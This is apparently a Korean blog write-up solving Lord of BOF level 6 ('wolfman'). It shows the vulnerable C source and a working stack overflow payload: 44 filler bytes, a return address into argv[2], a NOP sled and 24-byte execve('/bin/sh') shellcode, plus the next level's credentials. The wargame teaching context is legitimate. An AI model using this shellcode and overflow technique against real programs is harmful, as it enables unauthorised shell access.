일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Buffer Overflow
- 운영체제
- Spring Framework
- system hacking
- SQL
- Spring MVC
- stack overflow
- Operating System
- 정보보안기사
- 정보보안기사 실기
- 정보처리기사 실기
- Shell code
- LOB
- PWN
- OS
- webhacking
- wargame
- Payload
- Spring
- Lord of BOF
- 네트워크
- 워게임
- webhacking.kr
- 웹해킹
- pwnable
- BOF
- 해킹
- Pwnable.kr
- System
- hacking
- Today
- Total
DongDD's IT
[LOB] Level6 wolfman 본문
[LOB] Level6 wolfman
Problem
이번 문제도 마찬가지로 darkelf 실행 파일과 darkelf.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2) { printf(“argv error\n”); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != ‘\xbf’) { printf(“stack is still your friend.\n”); exit(0); } // check the length of argument if(strlen(argv[1]) > 48) { printf(“argument is too long!\n”); exit(0); } strcpy(buffer, argv[1]); printf(“%s\n”, buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
이번 문제도 저번 문제와 비슷한 형태의 프로그램이었다. 40 bytes의 크기를 가진 buffer가 있었고 extern을 통해 환경 변수를 가져와 memset()함수를 통해 초기화된다. 그리고 argv[1]의 48번째 문자가 "\xbf"가 아니면 프로그램이 종료된다. 저번 문제와 마찬가지로 stack 영역에 있는 값을 return address로 사용해야 하는 문제 같았다.
저번 문제와 다른 점은 argv[1]의 길이를 비교하는 구문이 생겼다는 것이다. argv[1]의 길이가 48보다 크다면 프로그램이 종료되고 아니라면 strcpy를 통해 argv[1]을 buffer에 넣고 마지막에 buffer를 초기화시켜준다.
일단 환경 변수 사용은 어려워 보이고 48 이하의 argv[1]을 사용해야하고 buffer가 초기화 되므로 buffer에 shell code를 넣는 것도 어려워보인다.
저번 문제에서 argv[2]를 이용해서 풀었는데 그대로 풀면 될 것 같았다. 길이 비교가 생긴 이유는 잘 모르겠지만 아마 전 문제에 다른 방법이 있는 것 같다.
Solution
이번 문제에서도 argv[2]에 shell code를 넣고 argv[2]의 주소를 return address에 넣어주는 방식으로 해결했다.
1. argv[2]에 Shell code 이용
gdb 실행을 위해 darkelf 파일을 aarkelf 파일로 복사했다.
dummy를 넣고 return address에 argv[2]의 주소를 넣기 위해 argv[2]의 주소를 찾았다. argv[2]에는 "\x90"(NOP)*20개와 shell code(24 bytes)를 사용할 것이기 때문에 총 44 bytes 크기의 값을 넣었다.
argv[2]의 주소를 확인해보니 0xbffffc40 언저리 쯤에 있었다.
NOP을 사용하기 때문에 어느정도 떨어진 위치인 0xbffffc44라고 생각하고 payload를 작성해 실행해보았다.
argv[2] 주소 : 0xbffffc44
사용한 Shell code(24 bytes) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
위 정보를 가지고 Payload를 작성했다.
Payload = dummy(44 bytes) + return address(argv[2]의 주소) "\x90"*20(NOP) + Shell code(24 bytes)
위와 같은 Payload를 사용했다. argv[2]를 사용했기 때문에 추가된 argv[1] 길이 검사에 영향을 받지 않았고 통과할 수 있었다.
저번 문제와 같은 방법으로 해결한 것 같다.
************** Answer & Flag **************
1. argv[2]에 Shell code 이용
Payload = dummy(44 bytes) + return address(argv[2]의 주소) "\x90"*20(NOP) + Shell code(24 bytes)
argv[1] = "A"*44+ "\x44\xfc\xff\xbf"
argv[2] = "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Next ID : darkelf
Next PW : kernel crashed
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level8 orge (0) | 2018.01.20 |
---|---|
[LOB] Level7 darkelf (0) | 2018.01.19 |
[LOB] Level5 orc (0) | 2018.01.18 |
[LOB] Level4 goblin (0) | 2018.01.17 |
[LOB] Level3 cobolt (0) | 2018.01.16 |